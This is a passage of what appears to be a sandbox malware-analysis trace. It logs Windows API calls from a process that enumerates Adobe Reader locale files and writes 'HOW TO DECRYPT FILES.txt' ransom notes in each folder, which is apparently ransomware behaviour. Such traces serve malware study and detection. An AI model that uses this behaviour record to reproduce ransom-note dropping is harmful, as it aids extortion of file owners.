(x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\HOW TO DECRYPT FILES.txt" [0070.457] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\how to decrypt files.txt")) returned 0xffffffff [0070.457] CreateFileA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0070.459] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0070.459] CloseHandle (hObject=0x94) returned 1 [0070.460] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\", lpString2="accessibility.CZE" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\accessibility.CZE") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\accessibility.CZE" [0070.460] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83209c40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x63e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acroform.CZE", cAlternateFileName="")) returned 1 [0070.460] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.460] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Acroform.CZE") returned 1 [0070.460] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Acroform.CZE") returned 1 [0070.460] lstrcmpiA (lpString1="", lpString2="Acroform.CZE") returned -1 [0070.460] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\accessibility.CZE") returned="accessibility.CZE" [0070.460] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\" [0070.460] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\") returned="" [0070.460] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\HOW TO DECRYPT FILES.txt" [0070.460] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\how to decrypt files.txt")) returned 0x20 [0070.460] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\", lpString2="Acroform.CZE" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\Acroform.CZE") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\Acroform.CZE" [0070.461] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d35bc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x74, dwReserved1=0x0, cFileName="AdobeCollabSync.CZE", cAlternateFileName="ADOBEC~1.CZE")) returned 1 [0070.461] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.461] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="AdobeCollabSync.CZE") returned 1 [0070.461] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="AdobeCollabSync.CZE") returned 1 [0070.461] lstrcmpiA (lpString1="", lpString2="AdobeCollabSync.CZE") returned -1 [0070.461] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\Acroform.CZE") returned="Acroform.CZE" [0070.461] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\" [0070.461] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\") returned="" [0070.461] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\HOW TO DECRYPT FILES.txt" [0070.461] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\how to decrypt files.txt")) returned 0x20 [0070.461] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\", lpString2="AdobeCollabSync.CZE" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\AdobeCollabSync.CZE") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\AdobeCollabSync.CZE" [0070.461] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x832ee480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x76c00, dwReserved0=0x74, dwReserved1=0x0, cFileName="Annots.CZE", cAlternateFileName="")) returned 1 [0070.461] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.461] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Annots.CZE") returned 1 [0070.461] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Annots.CZE") returned 1 [0070.461] lstrcmpiA (lpString1="", lpString2="Annots.CZE") returned -1 [0070.462] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\AdobeCollabSync.CZE") returned="AdobeCollabSync.CZE" [0070.462] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\" [0070.462] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\") returned="" [0070.462] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\HOW TO DECRYPT FILES.txt" [0070.462] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\how to decrypt files.txt")) returned 0x20 [0070.462] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\", lpString2="Annots.CZE" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\Annots.CZE") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\Annots.CZE" [0070.462] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x820558a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3200, dwReserved0=0x74, dwReserved1=0x0, cFileName="BRdlang32.CZE", cAlternateFileName="BRDLAN~1.CZE")) returned 1 [0070.462] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.462] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BRdlang32.CZE") returned 1 [0070.462] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BRdlang32.CZE") returned 1 [0070.462] lstrcmpiA (lpString1="", lpString2="BRdlang32.CZE") returned -1 [0070.463] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\Annots.CZE") returned="Annots.CZE" [0070.463] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\" [0070.463] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\") returned="" [0070.463] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\HOW TO DECRYPT FILES.txt" [0070.463] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\how to decrypt files.txt")) returned 0x20 [0070.463] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\", lpString2="BRdlang32.CZE" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\BRdlang32.CZE") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\BRdlang32.CZE" [0070.463] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83209c40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1da00, dwReserved0=0x74, dwReserved1=0x0, cFileName="Checkers.CZE", cAlternateFileName="")) returned 1 [0070.463] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.463] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Checkers.CZE") returned 1 [0070.463] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Checkers.CZE") returned 1 [0070.463] lstrcmpiA (lpString1="", lpString2="Checkers.CZE") returned -1 [0070.463] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\BRdlang32.CZE") returned="BRdlang32.CZE" [0070.463] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\" [0070.463] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\") returned="" [0070.463] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\HOW TO DECRYPT FILES.txt" [0070.463] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\how to decrypt files.txt")) returned 0x20 [0070.464] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\", lpString2="Checkers.CZE" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\Checkers.CZE") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\Checkers.CZE" [0070.464] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83209c40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e000, dwReserved0=0x74, dwReserved1=0x0, cFileName="DigSig.CZE", cAlternateFileName="")) returned 1 [0070.464] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.464] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="DigSig.CZE") returned 1 [0070.464] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="DigSig.CZE") returned 1 [0070.464] lstrcmpiA (lpString1="", lpString2="DigSig.CZE") returned -1 [0070.464] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\Checkers.CZE") returned="Checkers.CZE" [0070.464] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\" [0070.464] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\") returned="" [0070.464] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\HOW TO DECRYPT FILES.txt" [0070.464] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\how to decrypt files.txt")) returned 0x20 [0070.464] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\", lpString2="DigSig.CZE" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\DigSig.CZE") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\DigSig.CZE" [0070.464] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83209c40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0x74, dwReserved1=0x0, cFileName="DVA.CZE", cAlternateFileName="")) returned 1 [0070.464] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.465] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="DVA.CZE") returned 1 [0070.465] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="DVA.CZE") returned 1 [0070.465] lstrcmpiA (lpString1="", lpString2="DVA.CZE") returned -1 [0070.465] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\DigSig.CZE") returned="DigSig.CZE" [0070.465] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\" [0070.465] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\") returned="" [0070.465] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\HOW TO DECRYPT FILES.txt" [0070.465] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\how to decrypt files.txt")) returned 0x20 [0070.465] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\", lpString2="DVA.CZE" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\DVA.CZE") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\DVA.CZE" [0070.465] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8327c060, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x74, dwReserved1=0x0, cFileName="eBook.CZE", cAlternateFileName="")) returned 1 [0070.465] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.465] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="eBook.CZE") returned -1 [0070.465] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="eBook.CZE") returned 1 [0070.465] lstrcmpiA (lpString1="", lpString2="eBook.CZE") returned -1 [0070.465] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\DVA.CZE") returned="DVA.CZE" [0070.465] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\" [0070.465] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\") returned="" [0070.465] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\HOW TO DECRYPT FILES.txt" [0070.466] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\how to decrypt files.txt")) returned 0x20 [0070.466] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\", lpString2="eBook.CZE" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\eBook.CZE") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\eBook.CZE" [0070.466] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83209c40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9c00, dwReserved0=0x74, dwReserved1=0x0, cFileName="EScript.CZE", cAlternateFileName="")) returned 1 [0070.466] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.466] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="EScript.CZE") returned -1 [0070.466] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="EScript.CZE") returned 1 [0070.466] lstrcmpiA (lpString1="", lpString2="EScript.CZE") returned -1 [0070.466] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\eBook.CZE") returned="eBook.CZE" [0070.466] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\" [0070.466] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\") returned="" [0070.466] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\HOW TO DECRYPT FILES.txt" [0070.466] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 